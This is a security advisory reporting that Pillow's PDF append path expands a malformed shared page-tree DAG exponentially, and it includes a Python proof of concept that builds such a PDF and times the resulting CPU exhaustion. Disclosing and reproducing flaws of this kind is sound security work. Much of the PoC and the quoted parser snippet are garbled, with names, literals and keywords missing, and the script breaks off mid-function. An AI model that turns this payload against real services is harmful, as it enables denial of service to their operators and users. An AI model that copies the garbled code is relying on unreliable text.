Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion

Summary

Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.

An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearize_page_tree() without tracking visited or duplicate indirect references.

In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.

This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.

Details

Affected versions

• Package: Pillow
• Ecosystem: pip / PyPI
• Affected component: src/PIL/PdfParser.py page-tree traversal reached from src/PIL/PdfImagePlugin.py PDF append handling
• Runtime-tested affected release: 12.3.0
• Runtime-tested affected development version: 13.0.0.dev0
• Tested commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa
• Current source artifact hash: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054
• Release 12.3.0 commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
• Release 12.3.0 source artifact hash: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81
• Source-level affected: 5.1.0, 12.2.0, 12.3.0, and HEAD

Evidence fact strings:

• Runtime-tested affected: 12.3.0
• Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa
• Source-level affected: 5.1.0
• Source-level affected: 12.2.0
• Source-level affected: HEAD
• Likely affected range: >= 5.1.0, no fixed version known
• Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py

5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), which shipped in 5.1.0.

Technical details

The reachable path is:

1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:

   Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
   

2. src/PIL/PdfImagePlugin.py routes append=True to PdfParser:

   is_appending = im.encoderinfo.get("append", False)
   filename_str = filename.decode() if isinstance(filename, bytes) else filename
   if is_appending:
       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
   else:
       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
   

3. src/PIL/PdfParser.py parses the existing PDF and linearizes the page tree:

   self.page_tree_root = self.read_indirect(self.pages_ref)
   .pages = .linearize_page_tree(.page_tree_root)
   .orig_pages = .pages[:]
   

The missing invariant is:

The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.

The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.

PoC

Environment used for validation:

• OS/runtime: Linux, Python 3.13.11
• Current tested build: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa
• Latest release tested: Pillow 12.3.0
• The proof uses only synthetic in-memory PDFs and does not contact the network.

Save this as poc_pillow_pdf_page_tree_dag.py:

#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL


def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
    if fanout not in (1, 2):
        raise ValueError("fanout must be 1 or 2")

    objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
    for object_id in range(2, depth + 3):
        next_id = object_id + 1
        kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
        parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
        objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
    objects.append(.encode())

    result = ()
    offsets = []
     object_id, value  (objects, start=):
        offsets.append((result))
        result.extend(.encode())
        result.extend(value)
        result.extend()

    xref_offset = (result)
    result.extend(.encode())
    result.extend()
     offset  offsets[:]:
        result.extend(.encode())
    result.extend(
        
        .encode()
    )
     (result)


 () -> [, ]:
    payload = make_page_tree_pdf(depth, fanout)
    expected_refs = fanout ** (depth + )

    start = time.monotonic()
     PdfParser.PdfParser(buf=payload)  pdf:
        observed_refs = (pdf.pages)
        distinct_refs = ((pdf.pages))
    parse_seconds = time.monotonic() - start

    output = io.BytesIO(payload)
    start = time.monotonic()
    Image.new(, (, ), ).save(output, =, append=)
    append_seconds = time.monotonic() - start

     {
        : fanout,
        : depth,
        : (payload),
        : expected_refs,
        : observed_refs,
        : distinct_refs,
        : (parse_seconds, ),
        : (append_seconds, ),
        : (output.getvalue()),
    }


 () -> :
    depth = (sys.argv[])  (sys.argv) >   
       <= depth <= :
         SystemExit()

    linear = run_case(depth, fanout=)
    shared_dag = run_case(